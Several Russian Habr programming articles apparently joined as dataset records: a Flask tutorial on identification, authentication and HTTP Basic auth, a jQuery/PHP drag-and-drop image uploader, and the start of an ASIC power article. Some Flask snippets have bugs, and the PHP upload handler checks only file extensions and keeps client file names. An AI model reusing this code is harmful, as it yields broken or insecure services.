title = db.Column(db.String(256))
body = db.Column(db.Text)
def \_\_repr\_\_(self):
return '' % self.title
```
Теперь вы создаете пару записей в базе данных и заносите туда 2 пользователя – dimon\_01 и vovan. Наша база данных теперь знает об этих пользователях.
Теперь вам нужно дать возможно связывать заметки и пользователей. Для этого вы добавляет новое поле в модель заметки, которое указывает на автора заметки. Такая связь называется один ко многим - один пользователь может иметь много заметок.
Новые модели и связи
```
# models.py
from db import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(120), unique=True, nullable=False)
def __repr__(self):
return '' % self.username
class Note(db.Model):
id = db.Column(db.Integer, primary\_key=True)
title = db.Column(db.String(256))
body = db.Column(db.Text)
user\_id = db.Column(
db.Integer, db.ForeignKey('user.id'),
nullable=False
)
user = db.relationship(
'User',
backref=db.backref('notes', lazy=True)
)
def \_\_repr\_\_(self):
return '' % self.title
```
После того, как мы создали записи пользователей в БД, мы хотим как-то использовать свои учетные данные(username) для создания заметки. Для этого в json помимо добавления данных о заметке(ее название и тело) мы будем передавать еще и учетные данные в поле credentials. В коде эндпоинта мы можем добавить вызов функции, которая считывает учетные данные и ищет пользователя в БД по его псевдониму. Если пользователь найден – возвращаем экземпляр класса модели юзера и передаем в сервисную функцию create\_note, в которой создаем заметку с указанием автора.
Функция, считывающая данные пользователя и находящая его в БД, это есть идентификация пользователя.
Идентификация Вована
```
# main.py
from typing import Optional
from flask import request, jsonify
import services as notes_service
from app import app
from models import User
def identify_user(credentials: Optional[dict]) -> Optional[User]:
if credentials is None:
return None
username = credentials.get('username')
user = User.query.filter_by(username=username).first()
return user
@app.route("/notes", methods=['POST'])
def create_note_api():
credentials = request.json().get('credentials')
user = identify_user(credentials=credentials)
note = notes_service.create_note(request=request, user=user)
response = make_response(
jsonify(
{
'title': note.title,
'body': note.body,
}
), 201
)
response.headers["Content-Type"] = "application/json"
return response
```
```
# services.py
from flask import Request
from db import db
from models import Note, User
def create_note(request: Request, user: User) -> Note:
note = Note(
title=request.json['title'],
body=request.json['body'],
user=user,
)
db.session.add(note)
db.session.commit()
return note
```
Более формальное определение идентификации можно получить из википедии и викисловаря
Викисловарь:
> [*комп.*](https://ru.wiktionary.org/wiki/%D0%92%D0%B8%D0%BA%D0%B8%D1%81%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C:%D0%A3%D1%81%D0%BB%D0%BE%D0%B2%D0%BD%D1%8B%D0%B5_%D1%81%D0%BE%D0%BA%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D1%8F) процесс определения какой-либо сущности (устройства, объекта или данных) путём [присвоения](https://ru.wiktionary.org/wiki/%D0%BF%D1%80%D0%B8%D1%81%D0%B2%D0%BE%D0%B5%D0%BD%D0%B8%D0%B5) уникального идентификатора либо сравнения идентификатора с перечнем присвоенных идентификаторов
>
>
Википедия:
> **Идентифика́ция** в информационных системах — процедура, в результате выполнения которой для субъекта идентификации выявляется его [идентификатор](https://ru.wikipedia.org/wiki/%D0%98%D0%B4%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%82%D0%BE%D1%80), однозначно идентифицирующий этого субъекта в [информационной системе](https://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0). Для выполнения процедуры идентификации в информационной системе субъекту предварительно должен быть назначен соответствующий идентификатор (то есть проведена регистрация субъекта в информационной системе).
>
>
В нашем случае мы присвоили уникальные идентификаторы пользователям в виде их псевдонимов(username), а затем использовали их, чтобы найти пользователей в БД. Поиск в БД это и есть сравнение идентификатора пользователя с перечнем присвоенных идентификаторов(определение из викисловаря), то есть идентификация. В Других случаях мы можем не проводить поиск в БД, а просто проверить наличие уникального идентификатора в сообщении и принять это за идентификацию, но сейчас нам нужно именно найти пользователя и сравнить пароли.
### Аутентификация
В нашем решении есть одна проблема. Что будет, если кто-то другой представит себя пользователем, которым он не является? Например, какой-нибудь злоумышленник в credentials отошлет тот же самый username, который использует Вован.
Кто-то представляется ВованомОтвет прост – злоумышленник будет действовать от имени Вована. Это дыра в безопасности. Чтобы защититься от этого пользователю нужно доказать, что он является Вованом(prove user’s identity).
Вы собираете команду и размышляете, как Вован может доказать, что он и есть Вован.
Сказать, что Вован это Вован, уже недостаточно. Он должен предоставить только то, что есть только у него. Что может охарактеризовать и выделить Вована от остальных людей и что знает только он? Набор атомов? Уникальный ДНК? Вована отличают от остальных его темные волосы. Пусть вместе со своим псевдонимом сообщит и то, что у него темные волосы. А еще у него есть собака по имени Тузик. Еще его любимый цвет – красный. А ведь по сути это все факты о нем. Его характеристика Пусть Вован сам выбирает, какой факт о нем можно сообщить, чтобы система поверила ему. Нам хватит и одного факта Это, наверное, будет секретная фраза. Один фактор для аутентификации.
Вы пришли к выводу, что к модели юзера нужно добавить поле, которое будет отражать какой-то характеристику Вована. И это что-то будет одно. Вы вспоминаете, что в фильмах люди используют такие фразы и называют паролями. Вам нужен будет один фактор для аутентификации - пароль. В добавок вы узнали, что пароли нужно хэшироваать, но вдаваться в детали тут не будем.
Модель юзера с паролем
```
from db import db
class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(120), unique=True, nullable=False)
password = db.Column(db.String(256))
def __repr__(self):
return '' % self.username
class Note(db.Model):
id = db.Column(db.Integer, primary\_key=True)
title = db.Column(db.String(256))
body = db.Column(db.Text)
user\_id = db.Column(
db.Integer, db.ForeignKey('user.id'),
nullable=False
)
user = db.relationship(
'User',
backref=db.backref('notes', lazy=True)
)
def \_\_repr\_\_(self):
return '' % self.title
```
Таким образом, мы дополняем БД паролями, которые знают только админ. Админ затем передает лично пароли Вовану и Димон. Те, в свою очередь, используют их при взаимодействии с эндпоинтом для создания заметок.
Внутри эндпоинта при успешном сценарии происходит следующее:
1. Мы идентифицируем пользователя по псевдониму(username);
2. Сравниваете пароли;
3. Сервисная функция выполняется и создается новая заметка, привязанная к пользователю.
После идентификации пользователя вы сравниваете пароли. Если они совпадают, то пользователь подтверждает свою личность(prove user’s identity. 1 и 2 шаги в совокупности называются аутентификацией.
Процесс аутентификации
```
# main.py
from typing import Optional
from flask import request, jsonify, make_response
import services as notes_service
from app import app
from models import User
from utils import hash_password
def authenticate_user(user: Optional[User], password: str) -> bool:
if user is None:
return False
return user.password == hash_password(password)
def identify_user(credentials: Optional[dict]) -> Optional[User]:
if credentials is None:
return None
username = credentials.get('username')
user = User.query.filter_by(username=username).first()
return user
@app.route("/notes", methods=['POST'])
def create_note_api():
credentials = request.json().get('credentials')
user = identify_user(credentials=credentials)
password = credentials.get('password')
if not authenticate_user(user=user, password=password):
# Can't authenticate user, permission denied
response = make_response(
jsonify(
{
'msg': "Not authenticated"
}
), 403
)
response.headers["Content-Type"] = "application/json"
return response
note = notes_service.create_note(request=request, user=user)
response = make_response(
jsonify(
{
'title': note.title,
'body': note.body,
}
), 201
)
response.headers["Content-Type"] = "application/json"
return response
```
Более формальное определение аутентификации можно получить из википедии:
> **Аутентифика́ция** ([англ.](https://ru.wikipedia.org/wiki/%D0%90%D0%BD%D0%B3%D0%BB%D0%B8%D0%B9%D1%81%D0%BA%D0%B8%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA) *authentication* < [греч.](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B5%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D1%8F%D0%B7%D1%8B%D0%BA) [αὐθεντικός](https://ru.wiktionary.org/wiki/%CE%B1%E1%BD%90%CE%B8%CE%B5%CE%BD%CF%84%CE%B9%CE%BA%CF%8C%CF%82) [authentikos] «реальный, подлинный» < αὐτός [autos] «сам; он самый») — процедура проверки подлинности, например:
>
> - проверка подлинности пользователя путём сравнения введённого им пароля (для указанного [логина](https://ru.wikipedia.org/wiki/%D0%A3%D1%87%D1%91%D1%82%D0%BD%D0%B0%D1%8F_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C)) с паролем, сохранённым в [базе данных](https://ru.wikipedia.org/wiki/%D0%91%D0%B0%D0%B7%D0%B0_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85) пользовательских логинов;
>
> - подтверждение подлинности [электронного письма](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D1%87%D1%82%D0%B0) путём проверки [цифровой подписи](https://ru.wikipedia.org/wiki/%D0%A6%D0%B8%D1%84%D1%80%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BF%D0%BE%D0%B4%D0%BF%D0%B8%D1%81%D1%8C) письма по [открытому ключу отправителя](https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B0_%D1%81_%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D1%82%D1%8B%D0%BC_%D0%BA%D0%BB%D1%8E%D1%87%D0%BE%D0%BC);
>
> - проверка [контрольной суммы](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D1%81%D1%83%D0%BC%D0%BC%D0%B0) [файла](https://ru.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB) на соответствие сумме, заявленной автором этого файла.
>
>
Резюмируя:
* Аутентификация это процесс доказательства личности пользователя;
* Мы аутентифицируем пользователя с помощью одного факта/характеристики пользователя – его пароля. Однофакторная аутентификация;
* Перед аутентификацией мы можем идентифицировать юзера;
* Пример аутентификации – предоставление никнейма/имейла и сверка пароля(пароль доказывает, что этот человек тот, кем себя выдает).
* Аутентификация может происходить при процедуре логина, а так же при каждом запросе к ресурсу.
### Авторизация
Что будет, если пользователь предоставил учетные данные, которых нет в базе данных? Или может пароль от пользователя не совпадает с тем, что есть в БД?
Отказ в аутентификации из-за неправильного пароляОтказ в аутентификации из-за невозможности идентифицировать пользователяВы подумали, что заметки могут оставлять только пользователи, которых мы можем идентифицировать и которые предоставили правильный пароль. Если процедуры идентификации и сравнения не пройдены, то пользователь не имеет доступа к функционалу, то есть он не авторизован выполнять такие действия.
Какой HTTP код мы можем вернуть пользователю в таком случае? Порыскав в интернете список HTTP кодов, вы обнаружили говорящий за себя ответ 401 Unauthroized. То есть говорим пользователю, что он не авторизован.
401 Unauthorized
```
# main.py
...
@app.route("/notes", methods=['POST'])
def create_note():
data = request.get_json()
credentials = data.get('credentials')
user = identify_user(credentials=credentials)
if not is_authorized(user=user):
response = make_response(
jsonify(
{
'msg': 'Credentials not valid',
}
), 401 # <----------- Unauthorized status
)
response.headers["Content-Type"] = "application/json"
return response
...
```
Вы всей командой вновь тестируете сервис. Каждый из вас обнаруживает, что неудобно как-то писать каждый раз свои учетные данные в json. Вован вспоминает, что в протоколе HTTP сообщения могут содержать заголовки, куда можно будет спрятать данные для аутентификации и последующей авторизации.
Какой заголовок нам нужен? Если данные для аутентификации неправильные, то мы не авторизуем юзера и возвращаем код ответа 401 Unathorized. Пусть пользователь введет правильные данные и повторит запрос с заголовком `Authorization` Мы не можем его авторизовать, потому что у него неправильные данные для аутентификации. Если они станут валидными, то мы его авторизуем. Пользователь посылает заголовок `Authorization` и говорит как бы контекст "я с повторной авторизцией”. При этом данные для аутентиикации пусть будут представлены в виде одной строки, но разделены двоеточием `username:passsword`
Таким образом, мы пришли к следующему алгоритму:
1. Пользователь посылает данные для создания заметки, но без каких-либо данных для аутентификации, либо с неверными данными аутентификации.
2. Наш эндпоинт видит, что данных для аутентификации нет, либо они неправильные и говорит “ты не авторизован”.
3. HTTP клиент пользователя просит пользователя ввести правильные данные для аутентификации.
4. Пользователь посылает данные для создания заметки с заголовком Authorization, содержащим данные для аутентификации перед авторизацией.
5. Пользователь получает успешный статус о создании заметки.
```
from typing import Optional
from flask import request, jsonify, make_response
import services as notes_service
from app import app
from models import User
from utils import hash_password
def authenticate_user(user: Optional[User], password: str) -> bool:
if user is None:
return False
return user.password == hash_password(password)
def identify_user() -> Optional[User]:
credentials = request.headers.get('Authorization') # <--- new header
if not credentials:
return None
username, _ = credentials.split(':')
user = User.query.filter_by(username=username).first()
return user
def is_authorized(user: Optional[User]) -> bool:
credentials = request.headers.get('Authorization')
username, password = credentials.split(':')
if not authenticate_user(user=user, password=password):
# Can't authenticate user, permission denied
return False
return True
@app.route("/notes", methods=['POST'])
def create_note():
user = identify_user()
if not is_authorized(user=user):
response = make_response(
jsonify(
{
'msg': 'Credentials not valid',
}
), 401
)
response.headers["Content-Type"] = "application/json"
return response
note = notes_service.create_note(request=request, user=user)
response = make_response(
jsonify(
{
'title': note.title,
'body': note.body,
}
), 201
)
response.headers["Content-Type"] = "application/json"
return response
```
### Масштабирование алгоритма аутентификации
Димон всегда думал наперед и предложил подумать о том, как поступать, если мы придумаем дополнительный способ аутентификации. Тот, который мы сейчас придумали, давайте назовем базовый(basic). Когда пользователь предоставит данные для другого способа аутентификации(например, будет использовать какой-то одноразовый код), мы сообщим ему, что в данном контексте нужно использовать базовую аутентификацию, а не одноразовый код. Будем возвращать в ответе заголовок `WWW-Authenticate`, который укажет схему аутентификации. Например, `WWW-Authenticate: Basic`
Еще я не хочу, чтобы учетные данные передавались в виде китайских или кириллических символов. Придется возиться с кодировками, это боль. Пусть лучше будут закодированы с помощью base64. Эта кодировка переводит все в [подмножество ASCII символов](https://www.rfc-editor.org/rfc/rfc2045#section-6.8) без возни с другими символами. То, что нужно. Будет выглядеть так: `вован:мой_пароль` превратится в `0LLQvtCy0LDQvTrQvNC+0Llf0L/QsNGA0L7Qu9GM` , а `vovan:1234test` превратится в `dm92YW46MTIzNHRlc3Q=`
Вы еще забыли, что если мы добавим в сервис заметок сервис секретных файлов, для аутентификации в котором нужен будет другой хост, то их стоило бы разграничить, чтобы не перепутали окружения. Давайте назовем это realm. Будет выглядеть так: `WWW-Authenticate: Basic realm="dev_api"`
В итоге вы пришли к следующей схеме, учитывающей масштабирование способов аутентификации:
1. Пользователь посылает данные для создания заметки, но без каких-либо данных для аутентификации, либо с неверными данными аутентификации
2. Наш эндпоинт видит, что данных для аутентификации нет, либо они неправильные и говорит “ты не авторизован, предоставь данные для базовой схемы аутентификации”. В добавок мы возвращаем заголовок `WWW-Authenticate` со значением нужной схемы аутентификации и указанием окружения(realm) API заметок.
3. HTTP клиент пользователя смотрит, что нужно взять учетные данные для базовой аутентификации и просит пользователя ввести псевдоним и пароль. Смотрит, что нужно использовать тот же самый сервис `notes_api`.
4. Пользователь посылает закодированные в base64 данные для создания заметки с заголовком `Authorization`, содержащим данные для базовой аутентификации перед авторизацией
5. Пользователь получает успешный статус
```
# main.py
from typing import Optional
from flask import request, jsonify, make_response
import base64
import services as notes_service
from app import app
from models import User
from utils import hash_password
def authenticate_user(user: Optional[User], password: str) -> bool:
if user is None:
return False
return user.password == hash_password(password)
def identify_user() -> Optional[User]:
scheme, credentials = request.headers.get('Authorization').split()
if not credentials:
return None
decoded_credentials = base64.b64decode(credentials).decode()
username, _ = decoded_credentials.split(':')
user = User.query.filter_by(username=username).first()
return user
def is_authorized(user: Optional[User]) -> bool:
scheme, credentials = request.headers.get('Authorization').split()
decoded_credentials = base64.b64decode(credentials).decode()
username, password = decoded_credentials.split(':')
if not authenticate_user(user=user, password=password):
# Can't authenticate user, permission denied
return False
return True
@app.route("/notes", methods=['POST'])
def create_note():
user = identify_user()
if not is_authorized(user=user):
response = make_response(
jsonify(
{
'msg': 'Credentials not valid',
}
), 401
)
response.headers["Content-Type"] = "application/json"
# Add authentication scheme in header
response.headers["WWW-Authenticate"] = "Basic realm=notes_api"
return response
note = notes_service.create_note(request=request, user=user)
response = make_response(
jsonify(
{
'title': note.title,
'body': note.body,
}
), 201
)
response.headers["Content-Type"] = "application/json"
return response
```
### Middleware
Чтобы не проводить аутентификацию прямо в коде эндпоинта, мы можем переместить этот код в место, которое аутентифицирует юзера до попадания запроса в эндпоинт. Обычно для этого в различных фреймворках используют Middleware. Этот термин обозначает ряд функций или классов, которые по цепочке вызываются друг за другом перед попаданием запроса в эндпоинт. Они могут менять какие-то данные, что-то проверять и т.д Чтобы избежать дублирования кода, мы можем написать свой кастомный authentication middleware и использовать его повсюду в приложении, где нужна аутентификация. Мы можем использовать просто декораторы. Декораторы оборачивают какую-то функцию и выполняют какой-то код до обработки самим эндпоинтом. Это и будет своего рода middleware в нашем случае
Концепция Middleware
```
# main.py
import base64
from functools import wraps
from typing import Optional
from flask import request, jsonify, make_response
import services as notes_service
from app import app
from models import User
from utils import hash_password
def authenticate_user(user: Optional[User], password: str) -> bool:
if user is None:
return False
return user.password == hash_password(password)
def identify_user() -> Optional[User]:
scheme, credentials = request.headers.get('Authorization').split()
if not credentials:
return None
decoded_credentials = base64.b64decode(credentials).decode()
username, _ = decoded_credentials.split(':')
user = User.query.filter_by(username=username).first()
return user
def authenticated_only(f):
@wraps(f)
def wrapper(*args, **kwargs):
user = identify_user()
scheme, credentials = request.headers.get('Authorization').split()
decoded_credentials = base64.b64decode(credentials).decode()
username, password = decoded_credentials.split(':')
is_authenticated = authenticate_user(user=user, password=password)
# Not authenticated users not authorized to do this action
if not is_authenticated:
response = make_response(
jsonify(
{
'msg': 'Credentials not valid',
}
), 401
)
response.headers["Content-Type"] = "application/json"
response.headers["WWW-Authenticate"] = "Basic realm=notes_api"
return response
request.user = user
return f(*args, **kwargs)
return wrapper
@app.route("/notes", methods=['POST'])
@authenticated_only
def create_note():
note = notes_service.create_note(request=request, user=request.user)
response = make_response(
jsonify(
{
'title': note.title,
'body': note.body,
}
), 201
)
response.headers["Content-Type"] = "application/json"
return response
```
### Выводы и зачем это все
Что мы узнали из этой статьи:
* идентификация это процесс выявления какой-то сущности с идентификатором путем сравнения с уже присвоенными идентификаторами. Мы хотим узнать, кто есть кто в системе, поэтому ввели новую сущность юзера, которая имеет уникальный идентификатор username. Он и позволяет нам идентифицировать юзера. Например, под идентификацией можно понимать поиск в БД пользователя с указанным username/email.
* аутентификация позволяет доказать, что идентифицированный пользователь тот, кем себя выдает. Например, таким процессом служит идентификация пользователя и сверка пароля этого пользователя. Схема аутентификации с паролем это однофакторная аутентификация, так-как мы используем один фактор проверки - пароль.
* авторизация это проверка прав доступа. Обычно перед авторизацией в HTTP проверяется аутентификация. Например, если доступ к ресурсу ограничен только аутентифицированными юзерами.
Почему эта статья может помочь? Система аутентификации в таких фреймворках, как django, django-rest-framework, flask, fastAPI использует похожие понятия и процессы, хотя детали реализации разные - где-то нужно наследовать специальный класс, где-то реализовать вызываемый объект и т.д.
Кусок внутреннего кода django-rest-framework:
```
class BasicAuthentication(BaseAuthentication):
"""
HTTP Basic authentication against username/password.
"""
www_authenticate_realm = 'api'
def authenticate(self, request):
"""
Returns a `User` if a correct username and password have been supplied
using HTTP Basic authentication. Otherwise returns `None`.
"""
auth = get_authorization_header(request).split()
if not auth or auth[0].lower() != b'basic':
return None
if len(auth) == 1:
msg = _('Invalid basic header. No credentials provided.')
raise exceptions.AuthenticationFailed(msg)
elif len(auth) > 2:
msg = _('Invalid basic header. Credentials string should not contain spaces.')
raise exceptions.AuthenticationFailed(msg)
try:
try:
auth_decoded = base64.b64decode(auth[1]).decode('utf-8')
except UnicodeDecodeError:
auth_decoded = base64.b64decode(auth[1]).decode('latin-1')
auth_parts = auth_decoded.partition(':')
except (TypeError, UnicodeDecodeError, binascii.Error):
msg = _('Invalid basic header. Credentials not correctly base64 encoded.')
raise exceptions.AuthenticationFailed(msg)
userid, password = auth_parts[0], auth_parts[2]
return self.authenticate_credentials(userid, password, request)
def authenticate_credentials(self, userid, password, request=None):
"""
Authenticate the userid and password against username and password
with optional request for context.
"""
credentials = {
get_user_model().USERNAME_FIELD: userid,
'password': password
}
user = authenticate(request=request, **credentials)
if user is None:
raise exceptions.AuthenticationFailed(_('Invalid username/password.'))
if not user.is_active:
raise exceptions.AuthenticationFailed(_('User inactive or deleted.'))
return (user, None)
def authenticate_header(self, request):
return 'Basic realm="%s"' % self.www_authenticate_realm
```
кусок кода FastAPI
```
class HTTPBasic(HTTPBase):
def __init__(
self,
*,
scheme_name: Optional[str] = None,
realm: Optional[str] = None,
description: Optional[str] = None,
auto_error: bool = True,
):
self.model = HTTPBaseModel(scheme="basic", description=description)
self.scheme_name = scheme_name or self.__class__.__name__
self.realm = realm
self.auto_error = auto_error
async def __call__( # type: ignore
self, request: Request
) -> Optional[HTTPBasicCredentials]:
authorization: str = request.headers.get("Authorization")
scheme, param = get_authorization_scheme_param(authorization)
if self.realm:
unauthorized_headers = {"WWW-Authenticate": f'Basic realm="{self.realm}"'}
else:
unauthorized_headers = {"WWW-Authenticate": "Basic"}
invalid_user_credentials_exc = HTTPException(
status_code=HTTP_401_UNAUTHORIZED,
detail="Invalid authentication credentials",
headers=unauthorized_headers,
)
if not authorization or scheme.lower() != "basic":
if self.auto_error:
raise HTTPException(
status_code=HTTP_401_UNAUTHORIZED,
detail="Not authenticated",
headers=unauthorized_headers,
)
else:
return None
try:
data = b64decode(param).decode("ascii")
except (ValueError, UnicodeDecodeError, binascii.Error):
raise invalid_user_credentials_exc
username, separator, password = data.partition(":")
if not separator:
raise invalid_user_credentials_exc
return HTTPBasicCredentials(username=username, password=password)
```
кусок кода flask\_httpauth
```
class HTTPBasicAuth(HTTPAuth):
def __init__(self, scheme=None, realm=None):
super(HTTPBasicAuth, self).__init__(scheme or 'Basic', realm)
self.hash_password_callback = None
self.verify_password_callback = None
def hash_password(self, f):
self.hash_password_callback = f
return f
def verify_password(self, f):
self.verify_password_callback = f
return f
def get_auth(self):
# this version of the Authorization header parser is more flexible
# than Werkzeug's, as it also accepts other schemes besides "Basic"
header = self.header or 'Authorization'
if header not in request.headers:
return None
value = request.headers[header].encode('utf-8')
try:
scheme, credentials = value.split(b' ', 1)
username, password = b64decode(credentials).split(b':', 1)
except (ValueError, TypeError):
return None
try:
username = username.decode('utf-8')
password = password.decode('utf-8')
except UnicodeDecodeError:
username = None
password = None
return Authorization(
scheme, {'username': username, 'password': password})
def authenticate(self, auth, stored_password):
if auth:
username = auth.username
client_password = auth.password
else:
username = ""
client_password = ""
if self.verify_password_callback:
return self.ensure_sync(self.verify_password_callback)(
username, client_password)
if not auth:
return
if self.hash_password_callback:
try:
client_password = self.ensure_sync(
self.hash_password_callback)(client_password)
except TypeError:
client_password = self.ensure_sync(
self.hash_password_callback)(username, client_password)
return auth.username if client_password is not None and \
stored_password is not None and \
hmac.compare_digest(client_password, stored_password) else None
```
В кусках кода сверху можно заметить, что в деталях реализации они отличаются, но есть и одинаковые элементы. Например, краем глаза можно зацепиться за методы и переменные `authenticate` , заголовок`Authorization` , заголовок `WWW-Authenticate` , `scheme`, `credentials` , `HTTP_401_UNAUTHORIZED`
Хотя идентификацию юзера тут явно не выделяют, но этот процесс присутствует.
Итого - вы можете примерно понять о чем речь. Поменять эту аутентификацию и реализовать свою. Например, для JWT аутентификации нужно будет точно так же читать заголовок `Authorization` , парсить `scheme` (Bearer) и `credentials` (сам токен), идентифицировать юзера(по айди в токене) и аутентифицировать(проверять валидность токена и существование юзера). И фреймворки как раз прячут это все где-то в части, связанной с middleware.
В следующей статье мы реализуем что-то более практичное. Например, кастомную JWT аутентификацию в `django-rest-framework` .
### Ссылки для более глубокого изучения
* RFC HTTP Authentication <https://datatracker.ietf.org/doc/html/rfc7235>;
* 401 Unauthorized status code <https://developer.mozilla.org/ru/docs/Web/HTTP/Status/401>;
* WWW-Authenticate header <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/WWW-Authenticate>;
* Authorization header <https://developer.mozilla.org/ru/docs/Web/HTTP/Headers/Authorization>;
* RFC Basic authentication <https://datatracker.ietf.org/doc/html/rfc7617>;
* Django ModelBackend <https://github.com/django/django/blob/main/django/contrib/auth/backends.py#L40>;
* DRF Basic authentication <https://github.com/encode/django-rest-framework/blob/master/rest_framework/authentication.py#L53>; | https://habr.com/ru/post/682170/ | null | ru | null |
# Загрузка картинок на сервер с использованием HTML5+jQuery+PHP
Доброго времени суток!
Наверняка многие видели в движке WP функцию переноса файлов с рабочего стола в окно браузера и их дальнейшую загрузку на сервер. Когда я увидел такое, мне стало интересно как же это организовано. Тогда я полез в дебри, чуть было не заблудился, но всё таки решение нашел. Оказывается все очень просто.
#### Что нам понадобится?
Всего лишь небольшие знания HTML5+jQuery+PHP.
#### Ну что, поехали.
Для начала распишем работу нашего мини приложения.
1) Пользователь выбирает на своем ПК один или несколько файлов(в нашем случае графических файлов) и перетаскивает эти файлы в окно браузера который поддерживает Drag & Drop API(если точнее, то пользователь переносит файлы в специально отведенное место для загрузки).
2) После этого у нас срабатывает событие и при помощи API мы получаем информацию о загружаемых файлах и сохраняем их во временной памяти.
3)Далее, используя новый метод передачи sendAsBinary объекта XMLHttpRequest, посылаем наш файл из временной памяти на сервер.
Возможно, выше описанное не совсем понятно, но сейчас все всё поймут.
Велосипед изобретать не будем возьмем jQuery плагин [FileDrop](https://github.com/weixiyen/jquery-filedrop). Но так как велосипед мы не изобрели, есть один недостаток: данный плагин работает только в браузерах Firefox и Chrome. В этом нет ничего удивительного, ведь мы пишем приложение с использованием HTML5, а его поддерживают ещё не все основные браузеры. Но не будем на этом останавливаться идем далее.
Создаем файл index.html
С таким содержанием:
```
Загрузка файлов при помощи Drag & Drop API.
Перенесите сюда изображения для загрузки
```
#### Идем далее..
Теперь создадим наш обработчик, в котором соединим действие плагина [FileDrop](https://github.com/weixiyen/jquery-filedrop) и библиотеки jQuery, а так же создадим небольшие ограничения.
```
$(function(){
var dropbox = $('#dropbox'),
message = $('.message', dropbox);
dropbox.filedrop({
paramname:'pic',
maxfiles: 5,
maxfilesize: 2,
url: 'post_file.php',
uploadFinished:function(i,file,response){
$.data(file).addClass('done');
},
error: function(err, file) {
switch(err) {
case 'BrowserNotSupported':
showMessage('Ваш Браузер не поддерживает HTML5!');
break;
case 'TooManyFiles':
alert('Разрешено загружать за 1 раз не более 5 изображений');
break;
case 'FileTooLarge':
alert(file.name+' Слишком большой.Разрешена загрузка файлов не более 2мб.');
break;
default:
break;
}
},
beforeEach: function(file){
if(!file.type.match(/^image\//)){
alert('Разрешена загрузка только изображений!!!!');
return false;
}
},
uploadStarted:function(i, file, len){
createImage(file);
},
progressUpdated: function(i, file, progress) {
$.data(file).find('.progress').width(progress);
}
});
var template = ''+
''+
'![]()'+
''+
''+
''+
''+
''+
'';
function createImage(file){
var preview = $(template),
image = $('img', preview);
var reader = new FileReader();
image.width = 100;
image.height = 100;
reader.onload = function(e){
image.attr('src',e.target.result);
};
reader.readAsDataURL(file);
message.hide();
preview.appendTo(dropbox);
$.data(file,preview);
}
function showMessage(msg){
message.html(msg);
}
});
```
Ну а теперь, сверстаем наше приложение и оформим его создав файл styles.css(находится в архиве с исходниками)
На этом, мы заканчиваем с клиентской частью, и переходим к серверной.
Напишем небольшой php обработчик:
```
php
//Создадим пару вспомагательных функций
function exit_status($str){
echo json_encode(array('status'=$str));
exit;
}
function get_extension($file_name){
$ext = explode('.', $file_name);
$ext = array_pop($ext);
return strtolower($ext);
}
$upload_dir = 'uploads/'; //Создадим папку для хранения изображений
$allowed_ext = array('jpg','jpeg','png','gif'); //форматы для загрузки
if(strtolower($_SERVER['REQUEST_METHOD']) != 'post'){
exit_status('Ошибка при отправке запроса на сервер!');
}
if(array_key_exists('pic',$_FILES) && $_FILES['pic']['error'] == 0 ){
$pic = $_FILES['pic'];
if(!in_array(get_extension($pic['name']),$allowed_ext)){
exit_status('Разрешена загрузка следующих форматов: '.implode(',',$allowed_ext));
}
//Загружаем файл на сервер в нашу папку и посылаем команду о том, что все ОК и файл загружен
if(move_uploaded_file($pic['tmp_name'], $upload_dir.$pic['name'])){
exit_status('Файл Был успешно загружен!');
}
}
exit_status('Во время загрузки произошли ошибки');
?>
```
Вот, собственно, и всё! Теперь запускаем наш локальный сервер, открываем сайт ну и тестируем. Должно получиться примерно так:
1) Просто открытая страница браузера
2) Загрузка 1-го файла
3) Загрузка 2-го файла
4) Загрузка 6-ти файлов
На этом всё. Если мы проверим папку uploads, то в ней вы увидите все загруженные картинки.
Исходники [тут](http://ifolder.ru/28221046)
Демо версия [тут](http://polygon.pokodim.ru/project-1/)
Спасибо за ваше внимание!
PS. Как цель, я не ставил перед собой задачу сделать полностью рабочее приложение для загрузки файлов на сервер и дальнейшего их просмотра. А хотел, всего лишь, продемонстрировать достаточно новый способ загрузки, который, как я думаю, многим был интересен. | https://habr.com/ru/post/136694/ | null | ru | null |
# Измеряем power consumption для цифровых блоков микросхемы ASIC (еще до изготовления)
[](http://habrahabr.ru/company/metrotek/blog/264389/)
В последнее время на **Хабрахабр** появилось много статей посвященных разработке для **FPGA/ПЛИС**. Это произошло как при непосредственном участии моих коллег, так и других пользователей. Видно, что такие статьи способствует популяризации этой сферы разработки и показывают, что уже есть существенный интерес к направлению разработки **hardware** в целом (образно называемого «железом»).
В этой статье я вступлю на практически «непаханое поле» разработки для **ASIC** и расскажу об одном интересном аспекте создания цифровых частей (**IP-блоков**) в микросхемах **ASIC**. Эта сфера разработки еще более узкая по сравнению с **FPGA**.
> ***ASIC** (application-specific integrated circuit, «интегральная схема специального назначения») — интегральная схема, специализированная для решения конкретной задачи.*
